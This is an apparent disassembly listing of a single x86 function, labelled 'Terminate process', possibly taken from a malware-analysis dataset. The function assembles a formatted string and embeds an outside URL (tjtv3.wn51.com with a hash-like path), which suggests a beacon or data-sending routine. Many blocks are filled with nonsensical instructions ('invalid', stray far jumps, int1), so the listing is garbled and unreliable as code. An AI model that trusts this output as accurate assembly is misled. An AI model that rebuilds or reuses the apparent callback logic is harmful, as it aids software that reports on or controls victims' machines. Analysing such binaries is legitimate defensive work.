Function at 0x410730
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5a315c
mov eax, dword fs:[0]
push eax
mov eax, 0x1d20
call fcn.00437070
mov eax, dword [0x62e10c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
add byte [ebx], dh
lds ecx, [ecx + 0x5653ec45]
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1d28], ecx
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x11c]
push ecx
push eax
call fcn.0042162d
add esp, 8
call fcn.00425045
test al, al
je 0x4107a0
xor edx, dword [esi + edx*2 - 0x69082017]
pop ebp
lodsd eax, dword [esi]
cmp esp, dword [eax]
sar byte [ebx], cl
test al, 0x37
ljmp 0xc6f5
push 0x1000
lea eax, [ebp - 0x1cd4]
push 0
push eax
call fcn.00446a10
add esp, 0xc
call fcn.00424f76
test al, al
je 0x4107d1
cmpsd dword [esi], dword es:[edi]
jo 0x41074f
pop esp
fst qword [ebp - 0x2a30bb45]
int1
cmpsb byte [esi], byte es:[edi]
mov ch, 0xd0
pop edi
std
sub eax, 0x4464e8b1
add dword [eax], eax
call fcn.00424c3a
test al, al
je 0x4107f5
js 0x410836
and eax, 0xeb40ebe0
push ecx
lodsd eax, dword [esi]
loope 0x41080e
sar byte [ecx], 1
fnstenv [eax]
cmp cl, al
jns 0x410771
mov esp, 0xa54e0443
invalid
call fcn.00424c3a
test al, al
je 0x410819
salc
adc eax, edx
push edx
invalid
sbb ah, byte [ebx]
invalid
mov ecx, dword [ebp - 0x1d28]
cmp dword [ecx + 0x54], 0x10
lea eax, [ecx + 0x40]
jb 0x41082a
mov eax, dword [eax]
cmp dword [ecx + 0x9c], 0x10
lea edx, [ecx + 0x88]
jb 0x41083b
add byte [edx + 2], dh
mov edx, dword [edx]
cmp dword [ecx + 0x84], 0x10
lea esi, [ecx + 0x70]
jb 0x410849
mov esi, dword [esi]
add ecx, 0x28
cmp dword [ecx + 0x14], 0x10
jb 0x410854
mov ecx, dword [ecx]
lea edi, [ebp - 0x11c]
push edi
push eax
push edx
push esi
push ecx
lea eax, [ebp - 0x1cd4]
push str._s_t_s_t_s_t_s_t_s
push eax
call fcn.00409ac0
add esp, 0x1c
lea eax, [ebp - 0xcd4]
push 0xbb8
push 0
push eax
call fcn.00446a10
add esp, 0xc
mov dword [ebp - 0x1d24], 0xbb8
cmp byte [ebp - 0x1cd4], 0
mov dword [ebp - 0x1d2c], 0xbb8
mov dword [ebp - 0x1cd8], 0xf
mov dword [ebp - 0x1cdc], 0
mov byte [ebp - 0x1cec], 0
jne 0x4108c5
xor ecx, ecx
jmp 0x4108d9
lea ecx, [ebp - 0x1cd4]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4108d0
sub ecx, edx
push ecx
lea eax, [ebp - 0x1cd4]
push eax
lea ecx, [ebp - 0x1cec]
call fcn.00401d70
lea ecx, [ebp - 0x1d2c]
mov dword [ebp - 4], 0
cmp dword [ebp - 0x1cd8], 0x10
lea eax, [ebp - 0x1cec]
push ecx
cmovae eax, dword [ebp - 0x1cec]
lea ecx, [ebp - 0xcd4]
push ecx
push dword [ebp - 0x1cdc]
push eax
call fcn.0043d7aa
add esp, 0x10
call fcn.00424b6b
test al, al
je 0x41094d
invalid
outsb dx, byte [esi]
add bh, byte ss:[eax]
xchg byte [ebx + ebp], dl
mov bl, 0xfc
jp 0x410912
test dword [ebx], eax
fnsave dword [edx - 0x1e79a5b7]
invalid
call fcn.00425000
test al, al
je 0x410972
das
add ecx, dword [edx + 0x4d]
out 0x30, eax
sbb esi, eax
loop 0x410954
and dword [edx], eax
and dword [esp - 0x7e], esi
int1
mov byte [edi - 0x48], ah
dec edx
jns 0x4109d8
push ebx
mov bl, 0xeb
popal
lea eax, [ebp - 0x1d24]
push eax
lea eax, [ebp - 0xcd4]
push eax
call fcn.00410be0
cmp byte [ebp - 0xcd4], 0
jne 0x410992
xor ecx, ecx
jmp 0x4109a9
lea ecx, [ebp - 0xcd4]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4109a0
sub ecx, edx
push ecx
lea eax, [ebp - 0xcd4]
push eax
lea ecx, [ebp - 0x1cec]
call fcn.00401d70
push dword [ebp - 0x1d24]
lea eax, [ebp - 0xcd4]
push 0
push eax
call fcn.00446a10
add esp, 0xc
lea ecx, [ebp - 0x1d24]
cmp dword [ebp - 0x1cd8], 0x10
inc dword [ebx - 0x1cd743]
call dword [eax]
lea eax, [ebp - 0x1cec]
cmovae eax, dword [ebp - 0x1cec]
push ecx
lea ecx, [ebp - 0xcd4]
push ecx
push dword [ebp - 0x1cdc]
push eax
call fcn.0043d7aa
add esp, 0x10
call fcn.00424c7f
test al, al
je 0x410a1e
invalid
mov esp, 0x176ac05f
xor bl, byte [edx - 0x4d]
inc ecx
push 0x6a
xor byte [edi - 0x2af44f3a], bh
call fcn.00424bf5
test al, al
je 0x410a3d
loopne 0x4109f1
pop ds
mov al, byte [0x1b77a7c2]
sub esi, edx
jb 0x410a98
clc
push esp
mov esp, 0xa0ef0dd1
fisttp qword [ecx]
fisttp qword [ebp - 0x1d1c73]
invalid
lea ecx, [ebp - 0x1d1d]
call fcn.00403160
lea eax, [ebp - 0xcd4]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x1d1d]
call fcn.0043d194
call fcn.00424fbb
test al, al
je 0x410a77
push eax
ret 0xa76a
call fcn.00424d09
test al, al
je 0x410a97
aas
ljmp 0xd3cb
call fcn.00424bf5
pop ecx
inc ecx
add dword [eax], eax
test al, al
je 0x410abf
mov al, 0xc2
aas
xchg ecx, eax
mov ebp, 0x2e3bd481
inc edi
pop ecx
arpl word [eax - 0x3c], di
pop edx
cmp byte [ebp - 0x13d497b7], cl
movsb byte es:[edi], byte [esi]
pop esp
sti
int3
push 0x45
push str.https:__tjtv3.wn51.com__60755f9ade9c14f24f5ef5a97e12fa9681f4fb5ac5
lea ecx, [ebp - 0x1d04]
mov dword [ebp - 0x1cf0], 0xf
mov dword [ebp - 0x1cf4], 0
mov byte [ebp - 0x1d04], 0
call fcn.00401d70
mov byte [ebp - 4], 2
cmp byte [ebp - 0xcd4], 0
jne 0x410afd
xor ecx, ecx
jmp 0x410b0f
lea ecx, [ebp - 0xcd4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410b06
sub ecx, edx
push ecx
lea eax, [ebp - 0xcd4]
push eax
lea ecx, [ebp - 0x1d04]
call fcn.004071a0
push 0
push 0x622450
lea ecx, [ebp - 0x1d1c]
mov dword [ebp - 0x1d08], 0xf
mov dword [ebp - 0x1d0c], 0
mov byte [ebp - 0x1d1c], 0
call fcn.00401d70
mov byte [ebp - 4], 3
lea eax, [ebp - 0x1d04]
cmp dword [ebp - 0x1cf0], 0x10
cmovae eax, dword [ebp - 0x1d04]
push eax
call fcn.0043c420
mov bl, 0xb8
add al, byte [eax]
add esp, 4
call fcn.00424b6b
test al, al
je 0x410b92
inc esp
add dl, bh
sbb dword [edi + 0x2e], ebx
mov bl, 0x3d
test eax, 0xe09f994c
lahf
xor byte [ebp + 0x5645158], ah
out dx, eax
jmp 0x410b69
lea ecx, [ebp - 0x1d1c]
call fcn.00401930
lea ecx, [ebp - 0x1d04]
call fcn.00401930
lea ecx, [ebp - 0x1d1d]
call fcn.004014b0
lea ecx, [ebp - 0x1cec]
call fcn.00401930
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0043671f
mov esp, ebp
pop ebp
ret 4